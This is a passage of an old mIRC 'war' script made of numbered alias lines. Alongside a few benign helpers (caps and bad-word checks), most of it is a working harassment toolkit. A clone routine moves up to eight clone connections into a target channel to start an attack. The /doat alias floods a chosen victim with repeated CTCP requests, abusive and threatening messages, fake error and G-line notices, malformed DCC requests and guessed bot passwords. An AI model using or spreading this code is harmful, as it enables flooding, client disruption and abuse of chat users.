  599. n597=/return %level
  600. n598=}
  601. n599=/chattack {
  602. n600=/echo 3 Moving Clones to #$$1
  603. n601=/echo 2 Please Wait...
  604. n602=/dde clone1 command "" /join #$$1
  605. n603=/dde clone1 command "" /clsay
  606. n604=/timer 1 15 { /dde clone2 command "" /join #$$1 | /dde clone 2 command "" /clsay }
  607. n605=/timer 1 26 { /dde clone3 command "" /join #$$1 | /dde clone 3 command "" /clsay }
  608. n606=/timer 1 37 { /dde clone4 command "" /join #$$1 | /dde clone 4 command "" /clsay }
  609. n607=/timer 1 48 { /dde clone5 command "" /join #$$1 | /dde clone 5 command "" /clsay }
  610. n608=/timer 1 59 { /dde clone6 command "" /join #$$1 | /dde clone 6 command "" /clsay }
  611. n609=/timer 1 70 { /dde clone7 command "" /join #$$1 | /dde clone 7 command "" /clsay }
  612. n610=/timer 1 81 { /dde clone8 command "" /join #$$1 | /dde clone 8 command "" /clsay }
  613. n611=/timer 1 83 /s2clones /chattack #$$1 $$2 $$3
  614. n612=/timer 1 83 /echo 4 -a Starting Attack on #$$1
  615. n613=}
  616. n614=iscaps {
  617. n615=%t2v = *1
  618. n616=%ret = false
  619. n617=if (%t2v == $null) { goto capsend }
  620. n618=%sizer = $len(%t2v) 
  621. n619=%ch = 0
  622. n620=%caps = 0
  623. n621=%oth = 0
  624. n622=:start
  625. n623=inc %ch
  626. n624=if (($asc($mid(%ch,1,%t2v)) > 64) && ($asc($mid(%ch,1,%t2v)) < 91))  { inc %caps }
  627. n625=elseif (($asc($mid(%ch,1,%t2v)) > 96) && ($asc($mid(%ch,1,%t2v)) < 123 )) { goto capsend }
  628. n626=else { inc %oth }
  629. n627=if (%ch == %sizer) { goto returner }
  630. n628=else { goto start }
  631. n629=:returner
  632. n630=%oth = %oth + %caps
  633. n631=if ((%oth == %sizer) && (%caps > 5)) { set %ret true }
  634. n632=else { set %ret false }
  635. n633=:capsend
  636. n634=unset %t2v %ch %caps %oth
  637. n635=return %ret
  638. n636=}
  639. n637=isbadwd {
  640. n638=%txt = *1
  641. n639=if (%txt == $null) { goto bwend } 
  642. n640=:getword
  643. n641=%sz = $len(%txt)
  644. n642=unset %word 
  645. n643=%chr = 1
  646. n644=:stgw
  647. n645=if ($asc($mid(%chr,1,%txt)) != 32)  {
  648. n646=  if (%word != $null) { %word = %word $+ $mid(%chr,1,%txt) }
  649. n647=  else { %word = $mid(%chr,1,%txt) }
  650. n648=  if (%chr == $len(%txt)) { goto verword }
  651. n649=  inc %chr
  652. n650=  goto stgw
  653. n651=}
  654. n652=else { goto verword }
  655. n653=:verword
  656. n654=inc %chr
  657. n655=%txt = $mid(%chr,%sz,%txt)
  658. n656=%word = $chr(187) $+ %word $+ $chr(187)
  659. n657=unset %sz
  660. n658=if $len(%word) > 1 { 
  661. n659=  if %word isin %badword { 
  662. n660=    return $remove(%word,$chr(187))
  663. n661=    unset %word  
  664. n662=  }
  665. n663=  if %txt != $null { goto getword }
  666. n664=}
  667. n665=:bwend
  668. n666=unset %txt
  669. n667=}
  670. n668=isbadnk {
  671. n669=%txt = *1
  672. n670=if (%txt == $null) { goto bwend } 
  673. n671=:getword
  674. n672=%sz = $len(%txt)
  675. n673=unset %word 
  676. n674=%chr = 1
  677. n675=:stgw
  678. n676=if ($asc($mid(%chr,1,%txt)) != 32)  {
  679. n677=  if (%word != $null) { %word = %word $+ $mid(%chr,1,%txt) }
  680. n678=  else { %word = $mid(%chr,1,%txt) }
  681. n679=  if (%chr == $len(%txt)) { goto verword }
  682. n680=  inc %chr
  683. n681=  goto stgw
  684. n682=}
  685. n683=else { goto verword }
  686. n684=:verword
  687. n685=inc %chr
  688. n686=%txt = $mid(%chr,%sz,%txt)
  689. n687=%word = $chr(187) $+ %word $+ $chr(187)
  690. n688=unset %sz
  691. n689=if $len(%word) > 1 { 
  692. n690=  if %word isin %badnicks { 
  693. n691=    return $remove(%word,$chr(187))
  694. n692=    unset %word  
  695. n693=  }
  696. n694=  if %txt != $null { goto getword }
  697. n695=}
  698. n696=:bwend
  699. n697=unset %txt
  700. n698=}
  701. n699=lasttext {
  702. n700=/set -q %lttrg $$1 $+ _ $+ $$2 $+ _last
  703. n701=/set -q %lt [ % $+ [ %lttrg ] ]
  704. n702=/unset %lttrg
  705. n703=/return %lt
  706. n704=}
  707. n705=/addlt {
  708. n706=/set -q %lttrg $$1 $+ _ $+ $$2 $+ _last
  709. n707=/set -q % $+ [ %lttrg ] *3
  710. n708=/unset %lttrg
  711. n709=}
  712. n710=/rmlt {
  713. n711=/set -q %lttrg $$1 $+ _ $+ $$2
  714. n712=/set -q % $+ [ %lttrg ] ""
  715. n713=/unset %lttrg
  716. n714=}
  717. n715=autolev {
  718. n716=/return [ % $+ [ $$1_auto ] ]
  719. n717=}
  720. n718=/swotimer {
  721. n719=%tim = 0
  722. n720=%timcm = *1
  723. n721=:start
  724. n722=inc %tim 
  725. n723=if ($timer(%tim) == $null) { goto end }
  726. n724=elseif (([ %timcm ] isin $timer(%tim).com)) { 
  727. n725=  timer $+ %tim off 
  728. n726=}
  729. n727=goto start
  730. n728=:end
  731. n729=}
  732. n730=;*** 
  733. n731=/doat {
  734. n732=%attackvictim = $$1
  735. n733=if ($2 == $null) { goto attack }
  736. n734=%attacktype = $2
  737. n735=%attacktimes = $3
  738. n736=:start
  739. n737=%attacks = 0
  740. n738=:attack
  741. n739=if ($len(%attacktype) > 7) { goto 2 }
  742. n740=if (%attacktype == atmsg) { /msg %attackvictim $str(2,BurnInHellLamerTheDevilAwaitsYouThereIsNoEscapeFromHellFellMyPowersIamYourWorstNightmare) | /goto end }
  743. n741=if (%attacktype == atcmsg) { /msg %attackvictim $str(110,  $+ $rand(0,15) $+  $+ $rand(0,15)) $+ DeviL | /goto end }
  744. n742=if (%attacktype == atcecho) { /ctcp %attackvictim $str(110,  $+ $rand(0,15) $+  $+ $rand(0,15)) $+ DeviL | /goto end }
  745. n743=if (%attacktype == atbot) { /msg %attackvictim hello | /msg %attackvictim pass $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) | /msg %attackvictim whois DieLazyBotSeeYaInHellTheDevilIsWaitingYou | /msg %attackvictim info DieLazyBotSeeYaInHellTheDevilIsWaitingYou | /goto end }
  746. n744=if (%attacktype == atgpf) { /ctcp %attackvictim echo $str(40, General Protection Fault E««╪« [GPF] ) | /goto end }
  747. n745=if (%attacktype == atping) { /ctcp %attackvictim ping | /goto end }
  748. n746=if (%attacktype == attrout) { /ctcp %attackvictim trout | /goto end }
  749. n747=if (%attacktype == atpong) { /ctcp %attackvictim pong | /goto end }
  750. n748=if (%attacktype == attime) { /ctcp %attackvictim time | /goto end }
  751. n749=if (%attacktype == atpong) { /ctcp %attackvictim pong | /goto end }
  752. n750=if (%attacktype == atlamer) { /ctcp %attackvictim echo $str(50,LAMERLamer) | /goto end }
  753. n751=if (%attacktype == atflood) { /ctcp %attackvictim echo $str(40,âFlodâFloodâFlooodâFloooodâ) | /goto end }
  754. n752=if (%attacktype == aterror) { /ctcp %attackvictim echo $str(80,â╗⌐«⌐ERROR½â) | /goto end }
  755. n753=if (%attacktype == atshare) { /ctcp %attackvictim echo $str(30,âThis mIRC Version is not Registered«â) | /goto end }
  756. n754=if (%attacktype == atdevil) { /ctcp %attackvictim echo $str(70,â╗«⌐DeviL«⌐½â) | /goto end }
  757. n755=if (%attacktype == athell) { /ctcp %attackvictim echo $str(50,âSee Ya in HellâI'm The DeviLâ) | /goto end }
  758. n756=if (%attacktype == atface) { /raw notice %attackvictim : $+ DEVIL Now You'll see the face of the $+ $str(40, %devill) $+  | /goto end }
  759. n757=:2
  760. n758=if (%attacktype == atctcpcombo1) { /ctcp %attackvictim version | /ctcp %attackvictim clientinfo | /ctcp %attackvictim echo $str(15,DeviL) | /ctcp %attackvictim ping | /ctcp %attackvictim time | /goto end }
  761. n759=if (%attacktype == atctcpcombo2) { /ctcp %attackvictim clientinfo | /ctcp %attackvictim usertinfo | /ctcp %attackvictim echo $str(7, See ya in Hell, I'm the DeviL ) | /ctcp %attackvictim errmsg $str(5, General Protection Fault Error [GPF] ) | /ctcp %attackvictim echo $str(8, ⌐«⌐ ú««╪« ) | /goto end }
  762. n760=if (%attacktype == atultracombo1) { /ctcp %attackvictim echo $str(10, GPF Protection Fault ) | /invite %attackvictim #asdasdasdkasldka $+ $chr(160) $+ a | /msg %attackvictim $str(8, See ya in Hell. I'm the DeviL ) | /raw privmsg %attackvictim :DCC CHAT blah 3353362454 19 blah $+  | /raw privmsg %attackvictim :DCC SEND $rand(a,z) 3371822594 19 $rand(0,9999999999) | /goto end }
  763. n761=if (%attacktype == atdevecho) { /ctcp %attackvictim echo / DDDDDDD     EEEEEEE  V       V  II  LL      \ | /ctcp %attackvictim echo [ D     DD    EE       V       V  II  LL      ] | /ctcp %attackvictim echo [ D      DD   EE       V       V  II  LL      ] | /ctcp %attackvictim echo [ D      DD   EEEEE    V       V  II  LL      ] | /ctcp %attackvictim echo [ D      DD   EE        V     V   II  LL      ] | /ctcp %attackvictim echo [ D      DD   EE         V   V    II  LL      ] | /ctcp %attackvictim echo [ D     DD    EE          V V     II  LL      ] | /ctcp %attackvictim echo \ DDDDDDD     EEEEEEE      V      II  LLLLLLL / | /goto end }
  764. n762=if (%attacktype == atfakereply) { /raw notice %attackvictim : $+ DEVIL $+ $str(30,%devill) $+  | /goto end }
  765. n763=if (%attacktype == atversion) { /ctcp %attackvictim version | /goto end }
  766. n764=if (%attacktype == atclientinfo) { /ctcp %attackvictim clientinfo | /goto end }
  767. n765=if (%attacktype == atuserinfo) { /ctcp %attackvictim userinfo | /goto end }
  768. n766=if (%attacktype == atfinger) { /ctcp %attackvictim finger | /goto end }
  769. n767=if (%attacktype == athalibut) { /ctcp %attackvictim halibut | /goto end }
  770. n768=if (%attacktype == atdccchat) { /raw privmsg %attackvictim :âDCC CHAT 1 1 1 1â | /goto end }
  771. n769=if (%attacktype == atdccsend) { /raw privmsg %attackvictim :âDCC SEND CruxSoLandiaPics.exe Pentium.Microsoft.Com 666 1024102400â | /goto end }
  772. n770=if (%attacktype == atdccresume) { /raw privmsg %attackvictim :DCC RESUME i.hate.you 34254 435342 345435 | /goto end } 
  773. n771=if (%attacktype == atfuckyou) { /ctcp %attackvictim echo $str(50,âFuckYouâ) | /goto end }
  774. n772=if (%attacktype == atserverkick) { /ctcp %attackvictim echo $str(10,âYou Were Kicked From The Server. The IRC Ops Want You Out This Server. You Aren't Welcome Hereâ) $+ âYou Have Been Marked As G-Lined. You Are Not Welcome On This Server AnymoreâSome COPs Will Ask You About Your Hacking ActivitiesâEâECâECH | /goto end }
  775. n773=if (%attacktype == atnopain) { /ctcp %attackvictim echo $str(40,âNo Pain, No Gainâ) $+ Ok, You Won, Kisses Kisses And Bye Byeâ | /goto end }
  776. n774=if (%attacktype == athahaha) { /ctcp %attackvictim echo $str(30,âHAHAHAhahahaâ) | /goto end }
  777. n775=:end
  778. n776=inc %attacks
  779. n777=if %attacks < %attacktimes { goto attack }
  780. n778=}
  781. n779=F10 /nick _ $+ $rand(0,9) $+ Carlos $+ $rand(0,9) 
  782. n780=/ipkill {
  783. n781=  set %killmsg Clones cleaning services...
  784. n782=  /enable #ipkiller 
  785. n783=  /who $$1
  786. n784=}
  787. n785=/ipkiker {
  788. n786=  set %kickmsg Cleaning services...
  789. n787=  /enable #ipkiker
  790. n788=  /who $$1
  791. n789=}  
  792.